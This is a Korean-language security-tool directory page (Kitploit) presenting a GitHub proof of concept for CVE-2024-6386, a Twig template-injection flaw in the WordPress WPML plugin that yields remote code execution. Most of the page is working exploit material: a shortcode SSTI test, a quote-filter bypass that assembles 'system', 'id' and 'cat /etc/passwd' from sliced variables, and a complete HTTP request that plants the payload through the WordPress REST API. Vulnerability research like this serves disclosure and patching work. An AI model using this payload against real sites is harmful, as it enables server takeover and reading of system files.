Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-6386 — CVE-2024-6386에 대한 연구 및 PoC | Kitploit
도구/GitHubGitHub/argendo/cve-2024-6386
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubargendo/cve-2024-6386

CVE-2024-6386

CVE-2024-6386에 대한 연구 및 PoC

저장소 보기
5102년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-6386 - WPML의 Twig SSTI를 통한 RCE

PoC

Python+Selenium 기반 PoC

러시아어로 된 상세 연구: CVE-2024-6386

PoC 예제

CVSS

기본 점수: 9.9

벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

요약

WPML에서는 특정 WordPress Shortcodes를 사용하여 매크로를 만들고 Twig 템플릿도 렌더링할 수 있습니다. 따라서 쉽게 SSTI를 얻을 수 있습니다.

체인

SSTI

예를 들어, SSTI를 익스플로잇하기 위한 단축 코드를 만들어 보겠습니다:

root@kitploit:~
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]
도구 다운로드

이 경우 단축 코드를 렌더링한 결과로 4를 얻을 수 있습니다.

RCE

WordPress에서 모든 종류의 따옴표를 HTML로 인코딩하기 때문에 다음과 같은 일반적인 페이로드를 사용할 수 없습니다:

root@kitploit:~
{{['id']|filter('system')}}

그럼에도 불구하고 (s = 's')와 같은 변수-문자를 사용하여 OS 명령을 호출하도록 이 페이로드를 수정할 수 있습니다.

이를 위해 css_classes 및 languages와 같은 일부 로컬 변수를 호출해야 합니다.

첫 번째 변수는 wpml-ls-statics-shortcode_actions wpml-ls 문자열을 반환합니다. 두 번째 변수는 언어 배열(Array) 객체를 반환합니다.

이를 통해 필요한 기호를 슬라이스하여 자체 알파벳을 만들 수 있습니다.

따라서 여기서 알파벳을 만듭니다: [<space> ,a, c, i, d, s, y, t, e, m, p, w ]

그리고 네, languages를 빈 값과 연결하여 "Array" 값을 가진 문자열을 만들어야 합니다.

root@kitploit:~
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}

그런 다음 알파벳을 페이로드에 연결할 수 있습니다:

root@kitploit:~
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}

Burp Suite 익스플로잇

명령

root@kitploit:~
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com

{
    "id":30,
    "content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}

결과 확인

root@kitploit:~
GET /?p=30 HTTP/1.1
Host: vulned.com